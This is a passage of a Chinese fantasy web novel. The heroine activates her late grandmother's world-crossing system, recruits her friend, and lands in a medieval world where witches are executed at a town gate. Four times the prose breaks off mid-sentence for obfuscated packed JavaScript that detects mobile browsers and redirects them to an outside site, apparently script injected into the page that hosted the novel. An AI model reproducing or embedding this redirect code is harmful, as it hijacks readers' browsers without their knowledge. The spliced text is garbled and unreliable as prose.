姥姥给她留下这些，还有她本人骨灰的失窃……一切的一切如同迷雾一般笼罩在宁三箴身上。 陆雪莹倒是没她那么烦恼，连刚刚的诡异事件都没影响她四处参观的心情，明明刚刚身上还带着伤口，现在却好得跟没事人一样。 “这么大的会客厅！这么大的办公室！”她兴奋地折腾了一番，终于让事务所通了电，在走廊里如同村口二黄一般昂首阔步地巡视着发小的领地，“不然直接来给你打工吧！” “要求不高，月薪三千就行。主要是想坐一坐宁老板这个真皮大沙发。” “噢噢噢！那边是什么？还有电梯诶，我可以去看看吗？” 宁三箴扶额，摆摆手放她去：“玩去吧。” 自己则翻看着陈雨桐给她留下的合同副本和遗产指南。 那黑莲花给她带来的影响实在太大，宁三箴建议她先回去休息，工作可以留到之后恢复了再说。经此一役，陈雨桐看她时已经带上了靠谱的绝世高人的滤镜，自然她说什么是什么，还拍着胸膛保证以后宁三箴的法律咨询都由她包圆了。 宁三箴苦笑一声，如果可以的话，她宁愿自己一辈子也别遇上需要动用法律咨询的事。 除了陈雨桐之前说过的那些不动产，那份遗产指南里还包括了许多复杂的股权和投资基金，指南表示，由于宁三箴所具备贫瘠的理财知识以及恶劣的消费习惯，宁文昭将那些东西都转入了信托基金，每月会往宁三箴账上打款一万元生活费，同时，体验她所开发的万界穿梭系统，并完成系统任务，也可以获得一定金额的奖励，该系统与基金联通，只要她完成任务，奖励就会立刻结算至她账上。 姥姥！一个农村老太太！居然给她开发了一个什么万界穿梭系统！ 宁三箴顿觉自己好像从来没有了解过她。 不过人类就是这样，熟悉到一定程度，反而会变得陌生。 宁三箴在梦里也会念叨“姥姥”这个称呼，即使蒙上眼睛也能精准描摹出姥姥的面目，可以把姥姥爱吃的那些菜倒背如流，可是她对于“宁文昭”这个名字是陌生的，看到姥姥年轻时的黑白相片是迷茫的，听到姥姥年轻时作为背包客环游世界的经历则更是仿佛在听别人的故事。 她熟悉的是拥有“姥姥”身份的宁文昭，而“宁文昭”作为一个独立的人，似乎在死后才堪堪开始被宁三箴这个她最亲密的人所了解。 她并不完全了解姥姥，姥姥也似乎并不完全了解她。 她怎么可能是那种会为了一点钱让自己陷入麻烦的那种人啊？什么体验系统完成任务，她对这种事情完全没有任何好奇心。 至于奖金…… 奖金和麻烦放在一起，宁三箴也只能含泪放弃奖金——前提是她没有陷入债务困境的情况下。 宁三箴老老实实按照指南指引打开了事务所中央的那台电脑，一个散发着柔和白光的光球出现在黑色屏幕中央。 一行白字浮现在黑色背景中：“请认证。” 白字下隐隐约约有一道光门浮现。 宁三箴似有所感，将体内的万界之门唤醒。 电脑自动跳转了加载界面：“认证中……” “检测到新的‘门’。正在建立身份认证……” “认证通过。” “欢迎来到万界穿梭系统，亲爱的救世主。” 怎么就叫上救世主了？宁三箴挠头，她可还什么都没做呢。 “我是您的引导员，您可以称呼我为013。”系统界面白光浮动，白色的字体逐一浮现在界面上，“万界之门是为救世而生的机器，万界之门的拥有者通常也被称为救世主。这并非什么荣誉，只不过是一个简单的称呼。” “救世主的工作很简单，就是穿梭不同的世界，治愈世界的痼疾。” “在工作中，只需秉持一个宗旨：‘我们探索，我们联结，我们修复，我们守护。’” “万界穿梭系统是为了配合万界之门的使用而设计的，兼具引导新救世主们理解万界之门用法的作用。随着您对于万界之门掌握程度的加深，万界穿梭系统的功能也会不断解锁。” “现在，请您为系统设置初始口令。口令将被用于高级权限的解锁，以及万界之门能量的释放。” “借用您熟悉的游戏用语，”系统卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182863|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了一下，似乎正在转译，“即，放大招时要说的帅气话语。” 想到那种场景，宁三箴已经尴尬到头皮发麻：“这种口令一定要设置吗？” “是的。口令自身也拥有力量。如果您没有想法的话，我可以为您提供一些往届救世主们的口令作为参考。” 宁三箴对于自己设计尴尬的中二口令没什么兴趣，却对围观别人的中二口令兴趣十足。 “快快快，让我参考参考。” 电脑旁的投影仪白光闪烁，随后在宁三箴身后投下一道阴影。系统的参考资料非常高级，竟然是全息沉浸式观影。 有帅气的。 独眼的女刺客匕首翻飞如花，将周围面目模糊的虚影一一斩落，手法精准如外科手术，于万千邪气虚影中救下牙牙学语的孩童，她轻笑着点亮万界之门：“死亡如风，常伴吾身。” 血衣飘飘的女剑修高举长剑在魔物堆中杀了个七进七出，面对排山倒海一般涌来的魔物，仰天长笑，剑间星光闪烁，仿若天地大道、万物灵气集于一身：“剑来！” 也有搞怪的。 身着奇装异服的女孩做了个鬼脸，在荷枪实弹的黑|帮围追堵截之下将无辜的“拍品”们送上返航的船只，自己则倒仰着坠入大海，如同一只扑入狂风的蝴蝶：“来抓我呀！” …… “艺术就是爆炸。” “且慢！” “神宽恕你，宽恕你们所有人。因为不被宽恕的人，都已身处地狱。” “我是死了，又不是输了。” “我是输了，又不是死了。” “此后将有千花盛放，因为我曾经来过。” “这个世界应当以我的意志前行。” “敬生命，敬自由，敬人类。” …… 最后被展示的，是宁文昭的影像。 “贪安稳就没有自由，要自由就要历些危险，只有这两条路。” 她站在供桌前最后抚摸了一下自己的遗像，随后扣上鸭舌帽，怀里抱着什么东西匆匆离开。 遗像上的她是苍老的、年迈的、宁三箴熟识的。 而那个带着鸭舌帽的她，是年轻的、有朝气的、和宁三箴所见到的黑白相片中的她一般无二。 如此年轻，如此陌生。 5. 第五章 指尖的冰冷铜牌还在提醒着她应该早日回归现实，可宁三箴还沉浸在最后的影像中久久无法回神。 如果姥姥已经死了，那么她刚刚看到的人是谁？如果姥姥没死，她为什么会变年轻，又为什么瞒着她，将她抛下？ 自打开系统以来，她第一次开口打断013的讲解，询问它问题：“万界之门契约的结束条件是什么？” “死亡。” 013冰冷的电子音和白色的字体一同浮现。 没有别的可能。 那这份影像…… 宁三箴摇摇头，驱散了脑海中杂乱的想法。 既然姥姥也曾经是万界之门的契约者，那么这段影像也许是她年轻时在某个世界留下的。毕竟系统也没说这些一定是契约者生前的最后影像不是吗？ 但姥姥身上的种种谜团始终在宁三箴心头挥之不去，她试图询问系统是否有上一任持有者更多的影像记录。 “请输入权限口令。” “检测到权限更新，请录入权限口令。” 无论宁三箴怎么问，它来来回回也就是这两句，把宁三箴气笑了。 “你个人工智障！” “口令输入中……” “确认将‘你个人工智障’设为权限口令？” “不确认。”宁三箴面色微苦。 她对中二口令没兴趣，本来想设置个12345之类的，但系统居然对口令还有意蕴要求。 难道“你个人工智障”这句话就有什么意蕴了吗？ 宁三箴手段尽失，干脆破罐子破摔地想：既然要社死，那就拉着所有人一起好了。 一句崭新的口令被她输入系统：“朋友们，要和我一起拯救世界吗？” “口令输入中……” “确认将‘朋友们，要和我一起拯救世界吗？’设为权限口令。” “确认中……” “欢迎来到万界穿梭系统，亲爱的救世主。” 界面上的光球开始转动，四个白色的版块浮现在黑幕上。 “能量、委托、员工、技能与称号？” “怎么那么像我平时玩的模拟经营游戏啊？” “正确。这是由前救世主宁文昭为您量身改造的引导系统。希望您能通过这些熟悉的操作界面尽快适应救世主的工作。” “能量版块与万界之门本体相连，可以帮助您具象化地查看门的能量涨落。” 宁三箴点进版块看着那酷似手机电量的显示界面：“这未免有点太具象化了吧。” 现在显示的剩余能量为5%，作为一个电量焦虑症患者，宁三箴只想找根充电线给它插上。 “您可以通过完成任务积攒能量，当然，根据‘门’的指引行事同样能积攒能量。为了便于您溯源，您可以点击边栏查看能量来源。” 宁三箴依言点开：“5%——陈雨桐。” 连现在这5%都是陈雨桐贡献的，莫非姥姥走的时候只给她留了个没电的玻璃球？ 这也太挥霍了吧！钱留了这么多，咋不也给孙女多留点电呢。 吐槽归吐槽，系统的导引还在继续。 “委托系统可以接受来自各个世界本源的委托，您可以在委托栏中查看并接取委托，完成委托即可获得相应的金钱和能量奖励。” 委托栏中已经有了一个待处理的委托。 “委托世界：未知。” “世界描述：未知。” 怎么什么都是未知啊？宁三箴深觉得自己是被姥姥甩了个大麻烦。 “任务奖励：六十万元。” 嗯，关键信息倒是说得很清楚。宁三箴的还款期也确实快到了。 “在拯救世界的过程中，您也许需要伙伴的帮助。” “在员工版块，您可以契约新的员工，并和她们一起穿梭世界，完成任务。” 员工版块目前只有一个槽位。 宁三箴在界面上摸索一阵，按照她玩的游戏来说，员工版块应该和紧张刺激的抽卡版块相邻。但这好歹是个现实系统，上哪给她抽卡去？总不至于她动动手指，系统就能给她大变活人吧？ 系统不语，只让界面上的按钮默默发光。 “人才库？” 不会真能抽卡吧？ 宁三箴点进人才库，发现里面只有一个孤零零的待选人名。 “陆雪莹？” 搞了半天原来是捆绑售卖，宁三箴顿觉无趣。 “哎哎哎！箴宝你叫我？”陆雪莹不知从哪冒出来，“研究什么呢？我跟你说，你那电梯下面可真是别有洞天……” “诶？我怎么在人才库里？你已经准备好招聘我，和我共享你的真皮大沙发了吗？” 宁三箴：我不是我没有我冤枉。 但是人才库里只有陆雪莹。 难不成让她一个人去离家万里的异世界去拯救世界吗？她肯定死也要拉上这位损友一起啊。 她点开陆雪莹的人才简历。 “姓名：陆雪莹 性别：女 年龄：未知 种族：旱魃 外貌：70/100 智力：80/100 体质：90/100 体能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182864|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：90/100 敏捷：60/100 魔法：0/100 缺陷：流离（已补完）” 等等，这个种族和年龄是什么意思啊？宁三箴转过头，跟陆雪莹大眼瞪小眼：“解释一下？” 陆雪莹见状，眼疾手快地在系统上点击了“立即招聘”。她在系统上的状态立刻转变为了“已招聘”，还增加了职级“初级办事员（Lv.1/10）”。 随后，她便躺在宁三箴办公室里的真皮大沙发上一躺不起，甚至耍起了无赖：“我不管，那些网文里不是这么演的，你应该先震惊，然后痛苦挣扎，然后表示理解，然后告诉我无论我变成什么样都是你最爱的人。然后我伤心欲绝，你苦苦纠缠，然后我们演上一百集恨海情天，然后我再带球跑……” 宁三箴一把糊住她的嘴：“少看点狗血小说吧，我的大小姐。我看的探案小说还告诉我，你在和姥姥做局阴我呢。” “您有新的委托，请及时处理。剩余处理时间为2小时。” “对了。”陆雪莹从沙发上坐起来，“我都忘了问你，咱姥姥的事务所是做什么业务的呀？” “自动接单系统，招聘门槛又不高……” “难道是外卖站点？” 宁三箴捂头：“差不多吧，就是干的活要再复杂一点。” “嗯，快递站点？” “需要接触更多的黑暗面。” “抓小三、搜集出轨证据？” “可能还要更有社会价值一点。” “找走丢的猫猫狗狗？” “可能需要把这些特点结合起来。” “我懂了。”陆雪莹恍然大悟，“神棍事务所！” 结合之前陈雨桐的经历，陆雪莹和打通了思维的任督二脉一样：“宁姥姥原来是个天师啊。怪不得以前捉迷藏找咱俩一找一个准。” 宁三箴已经不想解释了，她爱怎么想怎么想吧。 “所以你的工作是……” “给你打下手？” “和我一起拯救世界。” 陆雪莹摸了摸她的额头，很担心地说：“有病还是要尽快去医院啊。” “我没开玩笑。”宁三箴很是激愤地指了指电脑屏幕上闪动着最后时效的委托，这些天发生的事实在太多，她甚至都不知道该从何说起。 她只能很认真地看向自己的发小，朝她伸出手：“是真的。陆雪莹，要和我一起拯救世界吗？” “权限口令认证通过。” “默认穿梭程序启动中……” “亲爱的救世主们，祝您旅途愉快。” 6. 第六章 为什么明明没有完整地说出口令却成功启动了权限呢？为什么默认权限是直接穿越世界呢？为什么当时没有直接把013这个人工智障关掉呢？ 站在荒无人烟、一望无际、灌木丛生、鸟不拉屎的原始丛林中，宁三箴开始悲愤地思考人生。 她到底是怎么走到这一步的？ “还真穿越了啊……”陆雪莹一脸好奇地从宁三箴身后走出，顺便取出了身后的行李箱、登山包、锅碗瓢盆、电饭煲…… 这些东西是哪里来的啊喂！ “哦，我之前上来找你还想和你说来着，早上我和陈雨桐不是顺便帮你把在省城的家当搬过来了吗？正好事务所带宿舍，可以直接帮你把这堆东西归置了。” “不过这下也好，我们虽然匆匆忙忙地穿越了，但好歹还可以从从容容地在这野炊一下。” 她倒是一副既来之则安之的样子：“顺便还得跟我妈说一声，今晚我们可能来不及回家吃饭了。” “这种原始大丛林哪里来的网啊？你醒醒吧，消息发不出去的。”宁三箴愁得挠头，“这种森林晚上是很危险的，万一有什么毒虫野兽的，我们俩这不就得交代在这了吗？” 她以手遮眼望向太阳的方向，又弯下身子观察了一下地面的植被和树种：“看上去不像是热带雨林，温度体感像是春夏之交，可日影又这么短……我不记得北回归线附近有这种生态的大型原始森林。” “不过我们又穿越了，很难按照地球的生态来推断自己的方位。这会是个什么样的世界呢？” 陆雪莹不像她那么认真地在观察地貌，她只是抬手拍了两张照片，然后四处抬手搜集着信号。 她摸了摸宁三箴，远离。 少顷，她又靠近，摸了摸宁三箴，远离。 “整什么幺蛾子呢？”宁三箴一把把正在远离的她拉住了。 “我在校准信号。” “这破地方还真有信号？” 宁三箴不信。 可陆雪莹翻过来的手机上，陆姨刚发过来那个硕大的大拇指表情包却显眼得不容她忽视，还有一句尾音上扬的语音——“玩得开心~”。 “很神奇哦。”陆雪莹摸了摸宁三箴，“我靠近你的时候，就能连上WIFI。” 她又走远：“但是我远离了你，就连不上了。” “所以箴宝你其实也有事瞒着我，对吧？” 宁三箴想到万界之门和之前发生的种种，心里一紧，她知道陆雪莹向来是表面看起来大大咧咧的，脱线得很，实际心思非常细腻。再加上万界之门那个使用指南里的第一条：“不能让任何人知道万界之门的存在。” 如果知道了，会怎么样？ 宁三箴脑海里顿时浮现出几千条补救措施，比如坦诚一部分最近遇到的异常事件，隐瞒姥姥留下的万界之门的事实，或者照旧插科打诨，转移陆雪莹注意力，又或者使用万界之门消除她这种想法……等等，门能做到这个吗？ 如果真的被人揭穿了，她会死吗？ 宁三箴忐忑不安。 “我其实……” “你其实是WIFI成精对不对？”陆雪莹跟哥伦布发现了新大陆一样，“哼哼，我就知道！这样一来我隐瞒你我身份的事情就可以一笔勾销了，坦诚完我们还是好朋友嘛。哎呀，不是我说你，姐姐又不会因为你是WIFI精这个事实鼓励你不和你玩……” “果然还是高看了你的脑回路啊。”宁三箴摇摇头，叹一口长气，她刚刚到底是为什么才产生了这个家伙能看穿一切的错觉？ “手机电省着玩，我估计这地方走出去了也不会有充电口的。”她提醒陆雪莹。 见她认真，陆雪莹也收起了手机作为回应：“阁下凭何有此论断？” “请往前看。” 远处隐隐约约有人影晃动。 陆雪莹一激动，但仔细观察却会发现，远方走来的是一队很诡异的三人组。 为首的壮年男子一身宁三箴在博物馆才能看见的中世纪欧洲的骑士装扮，骑着一匹瞎了一只眼的黑马，身上披着铁黑色的盔甲，腰间配着一把看起来保养得不是很得当的长剑，摇摇晃晃地往前走，而他身后则跟着一辆满是泥泞的驴车，不过那拉车的驴状态看起来可比马好多了，皮毛光滑，形体健壮，看起来还能拉一百台磨的样子。 那拉车的女子看起来精神状态也比那吊儿郎当的骑士好得多，虽然衣衫破旧，却很整洁，头发被白色头巾包裹得严严实实，车驾得也好，行路笔直。 她身后的驴车上放着些风干的肉干、几个装腌菜的罐子，看起来空了一半，还有几袋黑面包，还坐了个瘦弱的少女，那少女用斗篷披风将自己整个人罩住，看不清面容。 如果说这个世界是个中世纪欧洲背景的世界，那么这个组合确实挺奇怪。不过现在宁三箴也顾不得奇怪不奇怪的问题，当务之急是找当地人搭上线，让她们带着自己和陆雪莹离开这片森林，以免让夜晚丛林的野兽快乐地吃上自助餐。 但正当她打算上去搭讪的时候，她发现了一个致命的问题。 语言不通啊！ 且不说她英语水平不怎么样，就算她能说英语，按照地球上的常识，古英语体系也与现代英语有很大不同，更别说这里极有可能有独立的语系，那交流就更是不可能。 如果使用万界之门，能不能解决这种问题？ 宁三箴的大脑开始烧烤：如果她们觉得我是本地人，自然就会认为我能听懂她们的语言，进而我就能理解她们的语言。 阿美丽卡有句老话叫，“Fake it until you make it。（伪装你能直到你真的能。）”。不就该用在这种地方吗！ 而远方的三人组似乎也遇到了麻烦。 那打头的骑士突然大叫一声：“&**%*&*&*#@&￥！” 驾车的女子立刻戒备地看向草丛：“￥#&**&%#&@@。” 头戴兜帽的女孩也探过身子去看：“@*￥#@#%？*%&&*%*￥……” 骑士抽出了剑，一脸紧张：“*@#￥+-/*。” 宁三箴：请三位打开翻译器交流。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182865|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >无语归无语，她仔细观察了一下她们面前的草丛，绿影晃动，大概率是毒蛇之类的东西，但还没有抬头，估计是还在潜伏狩猎状态。 宁三箴从陆雪莹手里取出登山包，到她出手的时候了。 说时迟那时快，就在那骑士即将把剑扔出手的一瞬间，宁三箴将驱蛇粉均匀地洒在了洒在了驴车周边，刺鼻的雄黄粉味在空气中蔓延，青色的长蛇发出“嘶嘶”声，扭动着游离了草丛。 宁三箴看向那三人，还打算念两句咒语助助兴，却见那骑士哐当一声跪倒在地上，抱住了她的膝盖：“*@￥！**&%￥@*-+&#@！” 宁三箴震惊，但宁三箴不为所动。 随着骑士的痛哭流涕，她逐渐听懂了他的话：“黑女巫大人，求求您饶过我吧！如果您不能饶过我，那就请将我拿去炼魔药，放过我两个幼小的侄女吧。她们并不健康，也没有一丁点魔力，请放她们去纽斯堡找医生吧。” 黑女巫？是个不错的身份。宁三箴想，听起来既神秘又强大，很契合我的气质嘛。 她抬手将骑士扶起来：“我没有拿人炼制魔药的恶习，只是在丛林里修习了太久的魔法，想要了解外面的事情。介意我与你们同行吗？” 她的发音听起来生涩而古怪，却契合了她为自己编造的离群索居的黑女巫形象，骑士没有半点怀疑。 “当，当然可以！能和您同行是我们的荣幸。” 骑士擦去脸上的鼻涕泪水，宁三箴这才看清他的面容，至少从她个人的审美来说，她觉得这个“投降骑士”长得还不错，算得上英俊，还兼具成熟男性的魅力，只可惜眉宇间的怯懦掩盖了这一点，与他的骑士身份很不相符。 直到二人说话间，地面发出隆隆的震地声，不远处一个背着如山高的行李的女壮士提着大包小包姗姗来迟，直到此刻，宁三箴才有了一点她的发小其实是个非人生物的实感。 毕竟，她一直以为陆雪莹只是天生力气大，没想到其实是因为她和自己不是一个种族的啊。 “宁三箴！你怎么把我扔下一个人跑了！” 伴随着她的脚步，大地似乎都震了三震。 她说的还是中文，宁三箴看着身边的骑士脸色又从劫后余生的舒缓变为了屁滚尿流的震撼，随即又如同一个火箭一般发射了出去，抱着陆雪莹的小腿哭诉道：“巨人大人，求求您饶过我吧！如果您不能饶过我，那就请吃掉我，放过我那三个幼小的侄女吧。她们并不健康，也没有一丁点魔力，请放她们去纽斯堡找医生吧。” 熟悉的流程。熟悉的话术。 宁三箴还以为是自己编造的身份太唬人了呢，原来只是触发了人家的被动防御技能。 “所以，你们两个真的是他的侄女吗？” 驴车上的少女拉了拉兜帽，回避了宁三箴的视线。 驾驶驴车的农女挠了挠头，憨笑两声，憋出了一句：“您猜？” 宁三箴：我不猜。 就看这反应，肯定不是了。 连遮掩身份的话术都如此拙劣，她这是上了一条什么样的贼船啊！ 7. 第七章 陆雪莹加入了这个家庭，成为了投降骑士的第四个侄女。 “难道我们不能考虑一些别的身份设置吗？”宁三箴吐槽道。 投降骑士一甩头发，开始吟唱：“难道没有人想伪装成我的妻子吗？尊敬的女士们，你们将被冠以古老的荣耀家族——奥梅尔之名。啊，奥梅尔~多么大的荣耀~” “谢谢你，洛里斯，但不必了。”驾驶驴车的少女礼貌地拒绝了他，“如果可以的话，我更想让王庭来决定我的姓氏。” “啧啧啧，真是一个被贞德骑士小说所荼毒的少女啊。”洛里斯摇摇头，“那么你呢？我亲爱的瑟琳小姐？” 身披斗篷、头戴兜帽的瘦弱女孩缓缓抬起头，她有一张清澈纯净如百合花般的美丽面容，光是注视着她碧波般的眼睛，就能让人想起春日里潺潺流过的溪水，又或者是教堂外的晴空中飞过的白鸽。 “呵。真假奥梅尔还不一定呢。这片大陆上每秒钟都要诞生几个假冒的奥梅尔，我对成为假货的赝品妻子没兴趣。” 她的声音很是空灵清脆，宁三箴打赌会有不少人因为这种声音坠入爱河，但是她的嘴毒又很好地弥补了这一点。 “啧啧。那么……”洛里斯看了一眼宁三箴和陆雪莹，又把话吃回去了。 一位黑女巫和一位巨人，他真是活腻了才会去调戏她们。 “好。那么从此刻起，大家就是同行的伙伴了。”驾驴车的少女挑起了另一个话题，“大家来做一下自我介绍，说说此行的目的吧。” “我的名字是简。”少女朝大家点头，“我来自布尔斯特。注意，是布—尔—斯—特—！它的名字是顽石村，不是牛屎村。” “我最爱阅读有关贞德骑士的冒险小说。所以也打算效仿她，讨伐西大陆的恶龙，通过位于塞斯顿的骑士考验，成为一名王庭骑士。当然，如果能被王授予骑士称号和封地就更好了！不过那好像是只有史诗中的骑士才能做到的事情……” 在她说完之后，兜帽少女接上了话头：“瑟琳。从东大陆来，打算去西大陆。” 她还敲了敲简的头：“呆瓜。以后遇见陌生人不可以这么轻易地把自己的事情都交代出去。” 宁三箴看了眼洛里斯，他却做出了一个“请”的手势：“女士优先。” 宁三箴张了张嘴，突然发现自己的名字在这个世界无法准确发音。 洛里斯的表情从从容逐渐变得凝重，最后恍然大悟：“听说对于极其强大的女巫来说，名字也是一种不能被说出口的咒语，原来您是这种级别的女巫吗？连教廷都没有记载过的存在……您却顾及到我们的安危不肯提及姓名，真是善良啊。” 莫名其妙被“强大”的宁三箴：“……” “凡人的智慧，也如此渊博吗？”宁三箴装作思考的模样，她能感觉到体内的万界之门开始闪烁，“叫我‘宁’吧。” “我需要为我的魔药寻找一味配方，但我并不清楚它生长在哪里。或许需要游历这片大陆吧。” 魔药——万界之门。 配方——拯救世界。 宁三箴可没撒谎。 陆雪莹的自我介绍则简单得多：“雪莹。‘宁’是我的老板，我是她的助手。” “希因”、或者“雪诺”，都是她名字的近似发音，且在这个世界广泛地使用着，因此听起来一点也不违和。 但二人不知道的是，在这个世界，这两个词通常被用于作为父母不详的贵族私生女的名字。 作为农家女的简对此一无所知，但瑟琳和洛里斯却对这名字异常了解。 “北地哪个贵族的私生女吗？”瑟琳心想，“是三大家族中的哪一家及其分支呢？还是哪个不知名小贵族家的呢？” 洛里斯却因此对宁三箴的实力又有了新的认识：“将贵族私生女改造成巨人种族作为自己的助手，像这样违反了教廷在生命魔法使用上的绝对禁令，却依旧能够逃避审判庭的抓捕的女巫……” “我反正是打不过啦，不知道瑟琳能不能应对。” “说起来，她的来路也很神秘……看施术方式，搞不好和教廷有点联系。” 宁三箴能感受到自己体内万界之门的力量在快速地恢复着。 “我这一番故弄玄虚竟然如此成功？”宁三箴感到震撼。 “要是事务所里的系统能带出来就好了，这样我就能看清楚能量的来源，也就能更好地掌握万界之门的运作原理了。” “毕竟装逼也要讲究基本法嘛。” 在她闪过这个念头的瞬间，她能感觉到体内的万界之门有些异动，她尝试着回应了它，很快，脑海中浮现了熟悉的界面。 界面上的光球转动，四个白色的版块浮现在黑幕上。 “能量、委托、员工、技能与称号。” 甚至还把013这个人工智障优化出去了，非常好。 能量界面——一个鲜红的1%显示在屏幕正中央。 之前不是还有5%吗？宁三箴打开边栏查看收支变动，发现光是穿越世界就将她之前靠陈雨桐积攒的5%消耗殆尽，现在的1%还是洛里斯贡献的。 怪不得刚穿越来的时候万界之门一点反应也没有，原来是能量耗尽了。 宁三箴打开委托栏，想要查看更多信息。 “委托世界（处理中）：西方幻想世界。” “世界描述：未知。” “任务奖励：六十万元。” 合着是一点多的信息也不给，全靠自己探索。 员工还是只有陆雪莹，人才库也没有更新。很难判断是因为没有符合条件的人，还是说职能招聘她所在的世界的人。 宁三箴又查看了一下穿越之前没来得及看的技能与称号栏。 称号栏是灰色的，看起来是还没激活的状态， 技能栏有三个槽位，里面只孤零零地躺着一个技能——“驱散术”。 她量子速读了一下技能概览，大意就是当她在很短时间内汲取了大量能量并释放出一种能力的同时，这种能力的能量波动会被万界之门所记录，之后再次释放所需要的能量就会大大减少，并随着使用者熟练程度的增加而消耗更少的能量和准备时间。 其作用机制和宁三箴常玩的游戏中“技能”的概念类似，因此被开发者应用到了系统中，辅助宁三箴理解和运用。 “驱散术”就是在宁三箴帮助陈雨桐消除诅咒时展现的能力，虽然外观表现是念佛经，但本质就是对邪恶力量和负面状态的驱除，因此被系统提炼为“驱散术”。 宁三箴估算了一下，如果她需要再次施放“驱散术”的话，所消耗的能量或许不足0.001%。 在宁三箴研究四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182866|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大板块的同时，骑士小队也在不断地前行着。 上了驴车，宁三箴才发现：这哪是驴车？这是风火轮！ 怪不得这几个人是在原始丛林里突然出现在她眼前的，这驴车的行驶速度和现代一些电动三轮车相比可不遑多让。 树叶和午后的风哗哗划过耳畔，宁三箴有一种自己已经坐上了敞篷跑车的错觉。 “咱们需不需要……遮掩一点？” 瑟琳斜睨了一眼洛里斯，膝上的魔法书被狂风吹得刷刷作响，她手中闪动着独属于魔法的微光：“遮掩一点就来不及在日落前抵达火石镇了。更何况，在女巫阁下这样的前辈面前，何必隐藏我会魔法的事实？” 洛里斯不再多话，沉默地加快了速度。 而在飞驰的驴车前，灌木林丛纷纷让开道路，和暖的夕阳为丛林尽头投下一缕明光，远方的沼泽地旁终于出现了人类活动独有的痕迹。 一条被无数车辙与蹄印磨光的泥路，蜿蜒曲折地指向了远处的塔楼。它们如同插在远山前的黑色长钉，其中最高、最细的那一支，顶端放着一颗琉璃质感的六芒星，在低垂的云层下闪烁着，犹如幽夜中的晨星。 瑟琳将一件黑色斗篷递给了宁三箴，指了指远处的六芒星：“那是教会的痕迹，是教会对于迷途之人的指引。但对于某些人来说，却是致命的。” 她并未将话说尽，但言外之意已经非常明显。 是啊。宁三箴怎么会忘记，女巫这个称呼在西方世界固然意味着神秘和强大，但与此同时，它也代表了一段血腥而残酷的历史——猎巫运动。 在这个世界，也有类似的情况发生吗？ 宁三箴能感觉到，陆雪莹的手死死地抓住了自己的。 她也想到了这一点。 她在担心。 风从远处吹来，带来泥土和荒草的味道，除此之外，还带来了人类聚居点特有的味道——燃烧木柴的烟火气、回城的人们带来的泥土和灰沙的气息，以及淡淡的金属锈蚀的味道和血腥气。 几人抬眼望去，城墙如同一头沉默的雄狮，盘卧在泥路尽头。它的材质非常特殊，远远望去是灰色的，覆盖着深黑的雨渍与苔痕，然而在阳光的照射下却会透出隐隐的铁锈红。城内的主体建筑似乎也是全部以这种材质的石头构成的。 红与灰，构成了这座城镇的主基调。 “欢迎来到火石城！”洛里斯有些兴奋，“这是一座英雄之城。据说奥梅尔家的祖先正是在这座城池内带领民众们击退了恶龙，获封龙焰骑士，成为了整个潘塔洛斯最知名的大英雄！” “而巨龙喷下的火焰也让这里的土地染上了魔力，让这里成为了全潘塔洛斯最富裕的火石矿产区。” “总之，这可是个好地方，我们可以在里面好好休整一下。” 瑟琳挑了挑眉：“但似乎，这座城市不是很欢迎我们呢。” 临近城门口，驴车已经恢复了正常的行驶速度。 在晃晃悠悠的驴车板上，宁三箴看着城门口身穿皮甲，佩着刀剑，正在一个个检查入城行人行李的凶恶佣兵，倒抽一口凉气。 她亲眼看着那佣兵，将一个声称自己是占卜师协会合法占卜师的女人划分为女巫，斩于城门前。 她头颅处飙溅的血迹顺着火石构成的城墙缓缓流下，留下一道铁锈般暗红色的痕迹。 8. 第八章 “你说，你现在过去抱着他的大腿求饶，能不能让他高抬贵手放过我们？”宁三箴拍了拍洛里斯的肩膀，表情有些凝重。 像她这样生在红旗下，长在春风里的好青年，一到异世界就直面砍头，未免还是太血腥了点。 距离红灰色的城门越近，空气中那股涌动着的血腥味就越浓重，混杂着尘土和排到城外的牛羊马粪气息，令人作呕。 